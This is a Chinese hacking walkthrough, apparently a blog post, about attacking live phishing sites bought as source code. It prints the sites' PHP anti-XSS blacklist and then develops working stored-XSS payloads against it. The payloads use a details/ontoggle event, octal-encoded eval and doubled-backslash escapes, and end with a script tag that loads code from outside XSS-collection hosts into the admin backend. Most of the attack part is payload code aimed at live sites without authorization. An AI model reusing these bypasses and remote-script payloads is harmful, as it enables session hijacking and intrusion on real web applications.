攻破黑市最流行的钓鱼网站
这种类型的钓鱼网站最少有上百个了~ 
我风在指尖今天要为民除害~~~
自己伪装成买家,花了150,从黑市买到这种钓鱼源码,开始进行研究
钓鱼站是这样的
 
看他的源码,我们得知,有专门的一个脚本用来过滤我们的XSS 
过滤xss 脚本如下
[AppleScript] 纯文本查看 复制代码
| 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | <?PHPfunction RemoveXSS($val){              //==========================//            ////            //随风 程序开发 QQ957223651//            //此类用来防止XSS     //            //==========================//   $val =preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','',$val);   $search ='abcdefghijklmnopqrstuvwxyz';   $search .='ABCDEFGHIJKLMNOPQRSTUVWXYZ';   $search .='1234567890!@#$%^&*()';   $search .='~`";:?+/={}[]-_|\'\\';   for($i =0; $i <strlen($search); $i++){      $val =preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);      $val =preg_replace('/(�{0,8}'.ord($search[$i]).';?)/',$search[$i],$val);   }   $ra1=Array('javascript','vbscript','expression','applet','meta','xml','blink','link','style','script','embed','object','iframe','frame','frameset','ilayer','layer','bgsound','title','base');   $ra2=Array('onabort','onactivate','onafterprint','onafterupdate','onbeforeactivate','onbeforecopy','onbeforecut','onbeforedeactivate','onbeforeeditfocus','onbeforepaste','onbeforeprint','onbeforeunload','onbeforeupdate','onblur','onbounce','oncellchange','onchange','onclick','oncontextmenu','oncontrolselect','oncopy','oncut','ondataavailable','ondatasetchanged','ondatasetcomplete','ondblclick','ondeactivate','ondrag','ondragend','ondragenter','ondragleave','ondragover','ondragstart','ondrop','onerror','onerrorupdate','onfilterchange','onfinish','onfocus','onfocusin','onfocusout','onhelp','onkeydown','onkeypress','onkeyup','onlayoutcomplete','onload','onlosecapture','onmousedown','onmouseenter','onmouseleave','onmousemove','onmouseout','onmouseover','onmouseup','onmousewheel','onmove','onmoveend','onmovestart','onpaste','onpropertychange','onreadystatechange','onreset','onresize','onresizeend','onresizestart','onrowenter','onrowexit','onrowsdelete','onrowsinserted','onscroll','onselect','onselectionchange','onselectstart','onstart','onstop','onsubmit','onunload');   $ra =array_merge($ra1,$ra2);   $found =true;   while ($found ==true){      $val_before =$val;      for($i =0; $i <sizeof($ra); $i++){         $pattern ='/';         for($j =0; $j <strlen($ra[$i]); $j++){            if($j >0){               $pattern .='(';               $pattern .='(&#[xX]0{0,8}([9ab]);)';               $pattern .='|';               $pattern .='|(&#{0,8}([9|10|13]);)';               $pattern .=')*';            }            $pattern .=$ra[$i][$j];         }         $pattern .='/i';         $replacement =substr($ra[$i],0,2).'<x>'.substr($ra[$i],2);          $val =preg_replace($pattern,$replacement,$val);         if($val_before ==$val){            $found =false;         }      }   }   return$val;}?> | 
我们可以看到,能过滤的事件基本上都被对方过滤了
但是,像这种黑名单肯定都有不完善的地方没错
[AppleScript] 纯文本查看 复制代码
| 1 | </TD><details openontoggle=eval("\141\154\145\162\164\140\140")> | 

然后我们进入到后台查看,却没有弹窗,这是为什么呢?


对比查看
完整的代码        
[AppleScript] 纯文本查看 复制代码
| 1 | </TD><details openontoggle=eval("\141\154\145\162\164\140\140")> | 
过滤后的代码
[AppleScript] 纯文本查看 复制代码
| 1 | <details open=""141154145162164140140")"></details> | 
把\ 过滤了 那么我们加两重绕过试试        
这段代码插进去试试看
[AppleScript] 纯文本查看 复制代码
| 1 | </TD><details openontoggle=eval("\\141\\154\\145\\162\\164\\140\\140")> | 

 进入后台
![]() 
 
 
 成功弹窗,现在我们可以尝试 引用自己站点的代码了 。。。。。。。。。。。。。。。 
源代码应该为
[AppleScript] 纯文本查看 复制代码
| 1 | </TD><details openontoggle=eval(var s=document.createElement('script');s.src='http://xss.tv/XA';document.body.appendChild(s);)> | 
直接放上去是不行的,我们要对其编码,使用JS8编码
[AppleScript] 纯文本查看 复制代码
| 1 | </TD><details openontoggle=eval("\166\141\162\40\163\75\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\73\163\56\163\162\143\75\47\150\164\164\160\72\57\57\170\163\163\56\164\166\57\130\101\47\73\144\157\143\165\155\145\156\164\56\142\157\144\171\56\141\160\160\145\156\144\103\150\151\154\144\50\163\51\73")> | 
然后把\改成\\ 绕过对方的过滤规则
[AppleScript] 纯文本查看 复制代码
| 1 | </TD><details openontoggle=eval("\\166\\141\\162\\40\\163\\75\\144\\157\\143\\165\\155\\145\\156\\164\\56\\143\\162\\145\\141\\164\\145\\105\\154\\145\\155\\145\\156\\164\\50\\47\\163\\143\\162\\151\\160\\164\\47\\51\\73\\163\\56\\163\\162\\143\\75\\47\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\56\\164\\166\\57\\130\\101\\47\\73\\144\\157\\143\\165\\155\\145\\156\\164\\56\\142\\157\\144\\171\\56\\141\\160\\160\\145\\156\\144\\103\\150\\151\\154\\144\\50\\163\\51\\73")> | 
但是当我放上去的时候,并没有写到数据库,也就是说把 我这里的代码过滤了,到这里我百思不得其解,后来经过上百次测试,才知道,它限制的字符的长度,超过一定长度的字符,那么数据就不会被写入
那么只能不断的裁剪,不编码最终代码为
[AppleScript] 纯文本查看 复制代码
| 1 | “<details openontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com"> | 
“ 是闭合掉前面的标签
<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com"> 是引用我们XSS站点的代码,对方没有过滤doucmnet,只过滤了script
现在我们插入试试

依然没有成功执行,在继续看看对方的源码

将其复制出来,看看到底是什么原因

首先script标签被打乱了,并且多了个” 号,这很好绕过
前面我们看到过对方对JS8进制过滤不严格 可以对其JS8进制编码
我们再继续构造,把script转换成8进制,并且加上两个\\ 绕过对方过滤规则
[AppleScript] 纯文本查看 复制代码
| 1 | "<details/open/ontoggle=document.body.appendChild(document.createElement('\\163\\143\\162\\151\\160\\164')).src='http://www.baidu.com'> | 
把script转换成JS8进制编码
把所有的” 号换成’ 号
把所有的” 号换成’ 号
 
 
这样构造
结果后台没有存储任何数据

后来经过别人指点才知道,  默认输入’单引号会被过滤,我们只能在’单引号前面加上\
最终的代码就是
[AppleScript] 纯文本查看 复制代码
| 1 | "<details/open/ontoggle=document.body.appendChild(document.createElement(\'\\163\\143\\162\\151\\160\\164\')).src=\'http://xss.sssie.com/FMD27h\'> | 

然后自己进入后台查看~
 
  
                    
                

 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号